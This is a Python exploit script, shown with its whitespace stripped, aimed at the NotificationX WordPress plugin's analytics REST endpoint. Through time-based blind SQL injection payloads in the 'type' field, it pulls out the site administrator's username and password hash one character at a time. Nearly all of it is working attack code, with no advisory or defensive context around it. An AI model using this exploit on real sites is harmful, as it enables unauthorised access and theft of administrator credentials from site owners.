importrequestsimportstringfromsysimportexit# Sleep time for SQL payloadsdelay=0.3# URL for the NotificationX Analytics APIurl="http://localhost/wp-json/notificationx/v1/analytics"admin_username=""admin_password_hash=""session=requests.Session()# Find admin username lengthusername_length=0forlengthinrange(1,41):# Assuming username length is less than 40 charactersresp_length=session.post(url,data={"nx_id":1337,"type":f"clicks`=IF(LENGTH((select user_login from wp_users where id=1))={length},SLEEP({delay}),null)-- -"})# Elapsed time > delay if delay happened due to SQLiifresp_length.elapsed.total_seconds()>delay:username_length=lengthprint("Admin username length:",username_length)break# Find admin usernameforidx_usernameinrange(1,username_length+1):# Iterate over all the printable characters + NULL byteforascii_val_usernamein(b"\x00"+string.printable.encode()):# Send the payloadresp_username=session.post(url,data={"nx_id":1337,"type":f"clicks`=IF(ASCII(SUBSTRING((select user_login from wp_users where id=1),{idx_username},1))={ascii_val_username},SLEEP({delay}),null)-- -"})# Elapsed time > delay if delay happened due to SQLiifresp_username.elapsed.total_seconds()>delay:admin_username+=chr(ascii_val_username)# Show what we have found so far...print("Admin username:",admin_username)break# Move to the next characterelse:# Null byte reached, break the outer loopbreak# Find admin password hashforidx_passwordinrange(1,41):# Assuming the password hash length is less than 40 characters# Iterate over all the printable characters + NULL byteforascii_val_passwordin(b"\x00"+string.printable.encode()):# Send the payloadresp_password=session.post(url,data={"nx_id":1337,"type":f"clicks`=IF(ASCII(SUBSTRING((select user_pass from wp_users where id=1),{idx_password},1))={ascii_val_password},SLEEP({delay}),null)-- -"})# Elapsed time > delay if delay happened due to SQLiifresp_password.elapsed.total_seconds()>delay:admin_password_hash+=chr(ascii_val_password)# Show what we have found so far...print("Admin password hash:",admin_password_hash)# Exit condition - encountered a null byteifascii_val_password==0:print("[*] Admin credentials found:")print("Username:",admin_username)print("Password hash:",admin_password_hash)exit(0)